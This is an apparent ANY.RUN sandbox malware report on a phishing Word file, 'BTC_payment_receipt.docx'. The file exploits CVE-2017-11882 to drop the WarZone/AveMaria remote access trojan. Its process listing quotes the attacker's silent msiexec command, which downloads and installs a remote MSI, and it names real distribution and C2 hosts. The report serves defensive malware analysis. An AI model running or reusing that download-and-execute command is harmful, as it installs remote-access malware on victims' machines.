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File name:

BTC_payment_receipt.docx

Full analysis: https://app.any.run/tasks/5172baac-6577-4b01-9ad8-00602a8d4753
Verdict: Malicious activity
Threats:

WarZone RAT is a remote access trojan, which is written in C++ and offered as a malware-as-a-service. It packs a wide range of capabilities, from stealing victims’ files and passwords to capturing desktop activities. WarZone RAT is primarily distributed via phishing emails and receives regular updates from its C2.

Analysis date: May 20, 2019, 09:38:46
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
generated-doc
exploit
CVE-2017-11882
loader
trojan
stealer
rat
avemaria
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

2D49AC3E13B74DF4C3892E6889AB2E21

SHA1:

F1A360822C2828F9165143CA59E1C67837671903

SHA256:

FDEC22B9DE8580661228149F50D3207605372FA0F880C2B45D05F715702B1F7D

SSDEEP:

384:X6ma3W6PYcpf4MS+pG7hvWvRG95OQJJflgI4yFJexEtxI:qmURPYchg5mRG95OQJJfWxTiI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2824)
      • EQNEDT32.EXE (PID: 2836)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 2760)
      • cmd.exe (PID: 3008)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2392)
    • Changes the autorun value in the registry

      • MSIB35C.tmp (PID: 2188)
    • Application was dropped or rewritten from another process

      • images.exe (PID: 2032)
      • images.exe (PID: 2832)
    • Runs app for hidden code execution

      • images.exe (PID: 2832)
    • Connects to CnC server

      • images.exe (PID: 2832)
    • AVEMARIA was detected

      • images.exe (PID: 2832)
  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 2824)
      • EQNEDT32.EXE (PID: 2836)
    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 2868)
      • msiexec.exe (PID: 2392)
    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2824)
      • EQNEDT32.EXE (PID: 2836)
      • images.exe (PID: 2832)
    • Reads the machine GUID from the registry

      • msiexec.exe (PID: 2392)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2392)
      • MSIB35C.tmp (PID: 2188)
    • Creates files in the user directory

      • MSIB35C.tmp (PID: 2188)
    • Starts itself from another location

      • MSIB35C.tmp (PID: 2188)
    • Application launched itself

      • images.exe (PID: 2032)
  • INFO

    • Reads settings of System Certificates

      • WINWORD.EXE (PID: 2868)
      • msiexec.exe (PID: 2392)
    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 2868)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2868)
    • Application was crashed

      • EQNEDT32.EXE (PID: 2824)
      • EQNEDT32.EXE (PID: 2836)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2868)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 2392)
      • MSIB35C.tmp (PID: 2788)
    • Application was dropped or rewritten from another process

      • MSIB35C.tmp (PID: 2788)
      • MSIB35C.tmp (PID: 2188)
    • Application launched itself

      • MSIB35C.tmp (PID: 2788)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x2c2fab17
ZipCompressedSize: 350
ZipUncompressedSize: 1364
ZipFileName: [Content_Types].xml

XML

Template: template.dotx
TotalEditTime: -
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 15
Keywords: -
LastModifiedBy: Richard
RevisionNumber: 2
CreateDate: 2019:05:16 12:01:00Z
ModifyDate: 2019:05:16 12:01:00Z

XMP

Title: -
Subject: -
Creator: Richard
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
61
Monitored processes
13
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msib35c.tmp no specs msib35c.tmp images.exe no specs #AVEMARIA images.exe cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2868"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\BTC_payment_receipt.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
2824"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2760cmd.exe & /C CD C: & msiexec.exe /i https://servers.intlde.com/protected.msi /quiet C:\Windows\SysWOW64\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2308msiexec.exe /i https://servers.intlde.com/protected.msi /quiet C:\Windows\SysWOW64\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2392C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2836"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3008cmd.exe & /C CD C: & msiexec.exe /i https://servers.intlde.com/protected.msi /quiet C:\Windows\SysWOW64\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1618
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2140msiexec.exe /i https://servers.intlde.com/protected.msi /quiet C:\Windows\SysWOW64\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1618
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2788"C:\Windows\Installer\MSIB35C.tmp"C:\Windows\Installer\MSIB35C.tmpmsiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2188"C:\Windows\Installer\MSIB35C.tmp"C:\Windows\Installer\MSIB35C.tmp
MSIB35C.tmp
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Total events
2 037
Read events
1 505
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
26
Text files
8
Unknown types
3

Dropped files

PID
Process
Filename
Type
2868WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRF9ED.tmp.cvr
MD5:
SHA256:
2868WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{19D1DEB7-F199-4586-98A4-30B1F3A32087}
MD5:
SHA256:
2868WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{BB1B7DE3-150E-4AAA-8B21-C3A31CC6F593}
MD5:
SHA256:
2392msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF7796F2E6638DBACC.TMP
MD5:
SHA256:
2392msiexec.exeC:\Config.Msi\1cb1c5.rbs
MD5:
SHA256:
2392msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFF5F0096BF6410B2F.TMP
MD5:
SHA256:
2868WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F6FEF2FA-5C69-454E-B101-82B8C72DD6B8}.tmp
MD5:
SHA256:
2868WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{63E73756-845F-4BBA-AB6A-5A1ABF11E0E8}.tmp
MD5:
SHA256:
2868WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{422E727A-3D9C-4414-8799-EFE3D14D345B}.tmp
MD5:
SHA256:
2868WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4DE8717A-1072-4002-8F82-D25DD612444E}.tmp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
11
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2868
WINWORD.EXE
HEAD
200
198.252.108.62:443
https://servers.intlde.com/protected.doc
CA
unknown
2868
WINWORD.EXE
GET
200
198.252.108.62:443
https://servers.intlde.com/protected.doc
CA
text
261 Kb
unknown
2868
WINWORD.EXE
OPTIONS
200
198.252.108.62:443
https://servers.intlde.com/
CA
html
1.15 Kb
unknown
2868
WINWORD.EXE
HEAD
200
198.252.108.62:443
https://servers.intlde.com/protected.doc
CA
unknown
844
svchost.exe
OPTIONS
200
198.252.108.62:443
https://servers.intlde.com/
CA
html
1.15 Kb
unknown
844
svchost.exe
PROPFIND
200
198.252.108.62:443
https://servers.intlde.com/
CA
html
1.15 Kb
unknown
844
svchost.exe
PROPFIND
200
198.252.108.62:443
https://servers.intlde.com/
CA
html
1.15 Kb
unknown
844
svchost.exe
PROPFIND
200
198.252.108.62:443
https://servers.intlde.com/
CA
html
1.15 Kb
unknown
844
svchost.exe
PROPFIND
200
198.252.108.62:443
https://servers.intlde.com/
CA
html
1.15 Kb
unknown
2392
msiexec.exe
GET
200
198.252.108.62:443
https://servers.intlde.com/protected.msi
CA
executable
906 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
844
svchost.exe
198.252.108.62:443
servers.intlde.com
Hawk Host Inc.
CA
unknown
2392
msiexec.exe
198.252.108.62:443
servers.intlde.com
Hawk Host Inc.
CA
unknown
2868
WINWORD.EXE
198.252.108.62:443
servers.intlde.com
Hawk Host Inc.
CA
unknown
2832
images.exe
88.202.177.235:5200
fada101.servehttp.com
UK-2 Limited
NL
malicious

DNS requests

Domain
IP
Reputation
servers.intlde.com
  • 198.252.108.62
unknown
fada101.servehttp.com
  • 88.202.177.235
malicious

Threats

PID
Process
Class
Message
2832
images.exe
A Network Trojan was detected
MALWARE [PTsecurity] AveMaria.RAT Encrypted Checkin
2832
images.exe
A Network Trojan was detected
MALWARE [PTsecurity] AveMaria.RAT Connection
3 ETPRO signatures available at the full report
No debug info